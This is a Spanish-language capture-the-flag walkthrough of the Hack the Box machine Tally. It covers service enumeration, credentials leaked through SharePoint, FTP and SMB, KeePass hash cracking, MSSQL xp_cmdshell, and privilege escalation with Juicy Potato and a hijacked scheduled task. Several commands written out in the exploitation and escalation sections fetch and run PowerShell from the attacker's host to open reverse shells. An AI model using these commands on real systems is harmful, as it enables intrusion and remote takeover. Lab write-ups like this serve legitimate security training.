En este post voy a vulnerar la máquina Tally de Hack the Box. Es una máquina Windows, de nivel difícil, que si bien no posee ninguna vulnerabilidad en la explotación, se consigue acceder gracias a fugas de información existentes en los diferentes servicios y con múltiples vías para la escalada de privilegios.
Enumeración
Comienzo escaneado los 65535 puertos existentes en el protocolo TCP, estableciendo un envío mínimo de 5000 paquetes por segundo.
nmap -p- --open -n --min-rate 5000 10.10.10.59

En la máquina hay veinte puertos abiertos. Escaneo los catorce primeros puertos que he encontrado (ya que el resto son puertos dinámicos del sistema) para ver la versión de los servicios que están corriendo en ellos y ejecuto una serie de scripts de enumeración básicos.
nmap -p21,80,81,135,139,445,808,1433,5985,15567,32843,32844,32846,47001 -sC -sV 10.10.10.59 Starting Nmap 7.91 ( https://nmap.org ) at 2021-12-25 14:23 CET Nmap scan report for 10.10.10.59 Host is up (0.39s latency). PORT STATE SERVICE VERSION 21/tcp open ftp Microsoft ftpd | ftp-syst: |_ SYST: Windows_NT 80/tcp open http Microsoft IIS httpd 10.0 |_http-generator: Microsoft SharePoint |_http-server-header: Microsoft-IIS/10.0 | http-title: Home |_Requested resource was http://10.10.10.59/_layouts/15/start.aspx#/default.aspx 81/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |_http-server-header: Microsoft-HTTPAPI/2.0 |_http-title: Bad Request 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 445/tcp open microsoft-ds Microsoft Windows Server 2008 R2 - 2012 microsoft-ds 808/tcp open ccproxy-http? 1433/tcp open ms-sql-s Microsoft SQL Server 2016 13.00.1601.00; RTM | ms-sql-ntlm-info: | Target_Name: TALLY | NetBIOS_Domain_Name: TALLY | NetBIOS_Computer_Name: TALLY | DNS_Domain_Name: TALLY | DNS_Computer_Name: TALLY |_ Product_Version: 10.0.14393 | ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback | Not valid before: 2021-12-25T13:29:01 |_Not valid after: 2051-12-25T13:29:01 |_ssl-date: 2021-12-25T13:39:12+00:00; +14m33s from scanner time. 5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |_http-server-header: Microsoft-HTTPAPI/2.0 |_http-title: Not Found 15567/tcp open http Microsoft IIS httpd 10.0 | http-auth: | HTTP/1.1 401 Unauthorized\x0D | Negotiate |_ NTLM | http-ntlm-info: | Target_Name: TALLY | NetBIOS_Domain_Name: TALLY | NetBIOS_Computer_Name: TALLY | DNS_Domain_Name: TALLY | DNS_Computer_Name: TALLY |_ Product_Version: 10.0.14393 |_http-server-header: Microsoft-IIS/10.0 |_http-title: Site doesn't have a title. 32843/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |_http-server-header: Microsoft-HTTPAPI/2.0 |_http-title: Service Unavailable 32844/tcp open ssl/http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |_http-server-header: Microsoft-HTTPAPI/2.0 |_http-title: Service Unavailable | ssl-cert: Subject: commonName=SharePoint Services/organizationName=Microsoft/countryName=US | Subject Alternative Name: DNS:localhost, DNS:tally | Not valid before: 2017-09-17T22:51:16 |_Not valid after: 9999-01-01T00:00:00 |_ssl-date: 2021-12-25T13:39:12+00:00; +14m34s from scanner time. | tls-alpn: | h2 |_ http/1.1 32846/tcp open storagecraft-image StorageCraft Image Manager 47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |_http-server-header: Microsoft-HTTPAPI/2.0 |_http-title: Not Found Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows Host script results: |_clock-skew: mean: 14m33s, deviation: 0s, median: 14m33s | ms-sql-info: | 10.10.10.59:1433: | Version: | name: Microsoft SQL Server 2016 RTM | number: 13.00.1601.00 | Product: Microsoft SQL Server 2016 | Service pack level: RTM | Post-SP patches applied: false |_ TCP port: 1433 | smb-security-mode: | authentication_level: user | challenge_response: supported |_ message_signing: disabled (dangerous, but default) | smb2-security-mode: | 2.02: |_ Message signing enabled but not required | smb2-time: | date: 2021-12-25T13:38:49 |_ start_date: 2021-12-25T13:28:41 Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 90.99 seconds
HTTP – Puerto 80
Leo las cabeceras con whatweb del servicio web que está ejecutándose en la raíz del puerto 80 y veo que hace una redirección a la ruta http://10.10.10.59/default.aspx.
whatweb -a 3 http://10.10.10.59

Accedo a la ruta raíz de la web con el navegador y me redirige a un SharePoint en la ruta http://10.10.10.59/_layouts/15/start.aspx#/default.aspx pero no tiene ningún contenido.

Que se estaba ejecutando un SharePoint en esa ruta ya me lo indicaba nmap por lo que no es ninguna sorpresa llegar hasta aquí.
SharePoint tiene directorios propios por lo que, para hacer un fuzzing de directorios, no puedo utilizar ningún diccionario tradicional así que me descargo un diccionario específico para esta aplicación que hay en el github de SecLists pero esto me da una enorme cantidad de resultados para analizar. En su lugar, hago una búsqueda en google de las URLs mas importantes de SharePoint y llego hasta este post donde señala que una de las entradas mas comunes/importantes es la /_layouts/15/viewlsts.aspx.
Entro en la ruta http://10.10.10.59/_layouts/15/viewlsts.aspx y llego a un «indice» de directorios donde encuentro dos de ellos con contenido..

Accedo al directorio Documents y encuentro un fichero de word llamado ftp-details.

Me descargo el fichero, lo abro y encuentro una contraseña de una cuenta de ftp, entre otras cosas.

Como no tengo ningún usuario, todavía no puedo acceder al ftp.
Accedo al directorio Site Pages y vuelve a mostrarme la Home vacía.

Al fijarme en la dirección, veo que la aplicación me a redirigido a la url http://10.10.10.59/_layouts/15/start.aspx#/SitePages/Forms/AllPages.aspx. Al fijarme en la url, veo que se puede dividir en dos partes, la primera es la Home y la segunda es la ruta del directorio de Site Pages, ambas separadas por una #. Elimino la primera parte de la dirección, accedo directamente a la ruta http://10.10.10.59/SitePages/Forms/AllPages.aspx y llego a la ubicación correcta del directorio en el que hay un documento de word llamado FinanceTeam.

Abro el documento y me vuelve a enviar a la dirección de la Home, así que nuevamente introduzco directamente la dirección del documento y leo lo que parece ser una carta de bienvenida a un proyecto de migración. En la carta, además de los nombres de tres usuarios del proyecto, me indica que hay una cuenta con el nombre ftp_user.


Ya tengo un nombre de usuario y una contraseña para ftp.
FTP – Puerto 21
Utilizo las credenciales ftp_user:UTDRSCH53c"$6hys, obtenidas en SharePoint, para autenticarme en el ftp.

Después de un rato investigando el ftp (la verdad es que tiene bastante contenido), encuentro un fichero interesante en la ruta /User/Tim/Files. Se trata de un fichero de KeePass2 llamado tim.kdbx.

Los ficheros de KeePass2 se suelen utilizar para almacenar credenciales o datos importantes de forma segura ya que están protegidos por una contraseña.
Me descargo el fichero (en formato binary) y calculo su hash con keepass2john, almacenándolo en el fichero timhash. Posteriormente, rompo el hash por fuerza bruta con john the ripper y averiguo que su contraseña es simplementeyo.
$ keepass2john tim.kdbx > timhash
$ cat timhash
$ john --format=KeePass --wordlist=/usr/share/wordlists/rockyou.txt timhash

Abro el fichero y, en la ruta WORK/WINDOWS/Shares, encuentro las credenciales Finance:Acc0unting bajo el título TALLY ACCT share.


SMB – Puerto 139/445
Comienzo enumerando con smbmap las unidades compartida de samba dentro de su dominio por defecto y encuentro, además de las habituales, un disco llamado ACCT en el que tengo permisos de lectura. Enumero el contenido del disco ACCT y encuentro 10 directorios dentro.
smbmap -H 10.10.10.59 -u Finance -p Acc0unting smbmap -H 10.10.10.59 -u Finance -p Acc0unting -r ACCT

Como es mucho contenido que explorar, accedo directamente al directorio /ACCT de smb con smbclient.
smbclient //10.10.10.59/ACCT -U Finance%Acc0unting

Investigando los directorios, encuentro unas credenciales de base de datos en la ruta \zz_Archived\SQL\conn-info.txt pero son un rabbit hole (o yo por lo menos no les he encontrado utilidad). Investigo un poco mas y en la ruta \zz_Migration\Binaries\New folder\ encuentro contenido más interesantes. Entre todo el contenido, hay un ejecutable que me llamado tester.exe que me llama la atención.

Me descargo el ejecutable lo analizo con strings para leer los caracteres legibles por humanos dentro del fichero. A mitad del resultado, encuentro unas credenciales de base de datos.
strings tester.exe

MSSQL – Puerto 1433
Utilizo las credenciales sa:GWE3V65#6KFH93@4GWTG2G, que he obtenido de binario tester.exe para conectarme a la base de datos con sqsh.
sqsh -S 10.10.10.59 -U sa -P GWE3V65#6KFH93@4GWTG2G

Explotación
Sqsh es un cliente de SQL de línea de comandos para Microsoft SQL Server y cuenta con el comando xp_cmdshell que me permite ejecutar comando en la máquina víctima. El primer paso es habilitar xp_cmdshell.
1> exec sp_configure 'show advanced options', 1
2> go
1> reconfigure
2> go
1> exec sp_configure 'xp_cmdshell', 1
2> go
1> reconfigure
2> go

Una vez he habilitado xp_cmdshell, lanzo el comando whoami para comprobar si puedo ejecutar código.
1> xp_cmdshell 'whoami';
2> go

Por lo que veo en la imagen anterior, puedo ejecutar código, así que el siguiente paso es conseguir una shell reversa. Cojo el fichero /usr/share/nishang/Shells/Invoke-PowerShellTcp.ps1 y al final del todo pongo el código Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.4 -Port 7897, que me dará la shell reversa por netcat.

Renombro el binario a ps.ps1, levanto un servidor http en python por le puerto 8000 y, en sqsh ejecuto el siguiente comando, consiguiendo una shell reversa en powershell.
1> xp_cmdshell "powershell -c iex(new-object net.webclient).downloadstring('http://10.10.14.4:8000/ps.ps1')"
2> go


La flag de usuario la encuentro en la ruta C:\Users\Sarah\Desktop\user.txt.

Escalada de Privilegios
Esta máquina tiene dos vías para la escalada de privilegios. Uno el ya habitual SeImpersonatePrivilege y otro que es una combinación de permisos de ficheros y tareas programadas.
Juicy Potato
Comienzo enumerando la información del sistema y encuentro que se trata de un Windows Server 2016 Standard de 64 bits al que solo se le han hecho dos actualizaciones.
systeminfo

Leo los privilegios de mi usuario y veo que SeImpersonatePrivilege está como Enabled.
whoami /priv

Al ver esta combinación, automáticamente pienso en Juicy Potato. Me descargo un binario ejecutable de Juicy Potato desde aquí, lo subo a la máquina víctima por el servidor http que he levantado con certutil.exe y lo ejecuto para ver los argumentos que necesita.
certutil.exe -f -urlcache -split http://10.10.14.5:8000/jp.exe jp.exe

Requiere 3 argumentos:
- Crear una llamada al proceso (-t).
- Un puerto de escucha del servidor COM (-l).
- Un programa para ejecutar (-p).
La llamada al proceso es algo sencillo, voy a poner * para utilizar las dos opciones de este argumento.
El puerto de escucha también es sencillo, solo necesito un puerto que esté libre. En mi caso he elegido el 1337.
Para el programa, voy crear un binario llamado ps.bat que ejecutará, con powershell, el mismo binario de nishang que he utilizado durante la explotación, el ps.ps1, a través del servidor http que tengo levantado en el puerto 8000.
Comienzo creando el binario ps.bat al que añado el siguiente código.
powershell -c iex(new-object net.webclient).downloadstring('http://10.10.14.5:8000/ps.ps1')

Una tengo todo preparado, subo el binario ps.bat a la máquina víctima.
powershell.exe -c "(New-Object System.NET.WebClient).DownloadFile('http://10.10.14.5:8000/ps.bat','ps.bat')"

Pongo un netcat a la escucha por el puerto 7897, ejecuto el binario de Juiciy Potato en la máquina víctima y consigo una shell reversa de nt authority\system.
./jp.exe -t * -l 1337 -p ps.bat


La flag de administrador se puede encontrar en la ruta C:\Users\Administrator\Desktop\root.txt.

Tareas Programadas
Dentro del escritorio del usuario Sarah destacan los archivos SPBestWarmUp.ps1 y SPBestWarmUp.xml. El resto del contenido no es relevante.

Leo el contenido de SPBestWarmUp.xml y encuentro varias partes interesantes.



Por lo que leo en el script, SPBestWarmUp.xml está ejecutando SPBestWarmUp.ps1, desde la 01:00:00 del 25/01/2017 y cada hora (<Interval>PT1H</Interval>), con privilegios de Adminsitrador (Administrator).
Veo los permisos en SPBestWarmUp.ps1 y el usuario Sarah, como propietario del fichero, tiene todos los permisos (FullControl) por lo que puede editarlo.

Puedo cambiar el contenido del archivo e incluir un comando con el que conseguir una shell reversa. Cambio el código del fichero por el siguiente:
echo "iex(new-object net.webclient).downloadstring('http://10.10.14.5:8000/ps.ps1')" > SPBestWarmUp.ps1
Cuando encontré esta vía eran las 04:13:42 en el sistema y no me apetecía quedarme esperando 46 minutos a que se ejecutase así que doy un salto hasta la anterior consola de administrador.
Como administrador, veo las tareas programadas, con estado Ready, que tiene el sistema y veo que aparece SPBestWarmUp.
Get_ScheduledTask | ? state -eq Ready

Compruebo la información de la tarea y veo que la última ejecución de la tarea ha sido a las 3:58:58 PM (hora del sistema) y la próxima será a las 5:00:00 PM (hora del sistema).
Get-ScheduledTaskInfo SPBestWarmUp

